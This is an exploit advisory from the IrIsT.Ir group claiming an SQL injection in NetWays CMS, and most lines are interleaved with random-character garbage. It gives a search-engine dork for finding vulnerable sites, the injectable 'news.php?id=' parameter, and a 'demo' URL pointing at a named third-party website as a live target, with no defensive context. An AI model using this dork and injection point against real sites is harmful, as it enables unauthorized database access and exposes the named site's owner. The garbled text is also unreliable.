################################################################################??######## 4 s+ [% c! A) z* D) U& G
# 6 Z. s! O$ S6 Y
# Exploit Title : Net Ways Cms Sql Injection Vulnerability ' ]1 @* l; e) Z' M3 t, p
# ) Y, F6 ]: y+ D6 O1 t% w0 X
# Author : IrIsT.Ir 0 d3 Q' N! q( l0 u/ r- k
# ) W, ?9 V4 q# ^. B
# Discovered By : Am!r & f7 f) h4 n2 Q/ g. M% B
#
7 s1 K b! |7 x8 ?& {/ N& p6 Y- x# Home : http://IrIsT.Ir/forum e9 W: w& h) Q9 z- Q9 U
# 7 N; e# f7 V5 k7 M9 L7 I6 ?
# Software Link : http://www.netways.com/ www.political-security.com
3 Y0 [# i6 `; J: W6 n# 2 }! ]9 w' O: D, e
# Security Risk : High
4 Z$ \& O* `" \; V- F W1 [8 k#
3 g; }: W& A6 z# Version : All Version
, w8 T! g% y5 J6 G" G#
8 t7 ^8 H; b& X" k% q7 z# Tested on : GNU/Linux Ubuntu - Windows Server - win7 4 @+ ?. _! K4 ]2 U: J
# ( c a7 W! T, {
# Dork : intext:"Designed & developed by NetWays"
. M0 [4 F. C$ O5 h1 E" `9 G# / L) ?( ` x& B0 P# R2 k% A
################################################################################??######## 7 }/ |6 p2 S i6 v8 I" p7 U% W! |8 W
#
f L3 O: w+ |$ f2 A# Expl0iTs :
: i' ]0 C' _7 h H: D$ a& k#
! d% W+ v* E. ~+ H# j# http://target.com/news.php?id=[Sql]
1 X3 i- A; H4 @" ^ Z#
4 C* H* L" \) f# 7 |( W, v3 q, g' N
# D3mo :
: a. q% x: c' [. L ^ @#
5 G( q# v' I# Q# B1 Y# http://compagnieparento.com/news.php?id=7[Sql] 8 N' M5 C9 [7 k. o; @1 b1 n
#
7 m* D2 u0 x2 H################################################################################??########
7 c2 i4 h4 t1 x# ! {$ {' U' |) P8 Y% T
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
: D) }6 F' O" \# " B) w( F2 B0 F& H! p- D
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
3 L6 D S9 a7 u3 y#
* {8 ~% I0 X0 t# H# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum 4 @0 U" ^1 ^; }+ T# {( j# v8 L+ S3 z% f
# - ]2 {8 _) W- f4 U7 V5 r' {
################################################################################??######## |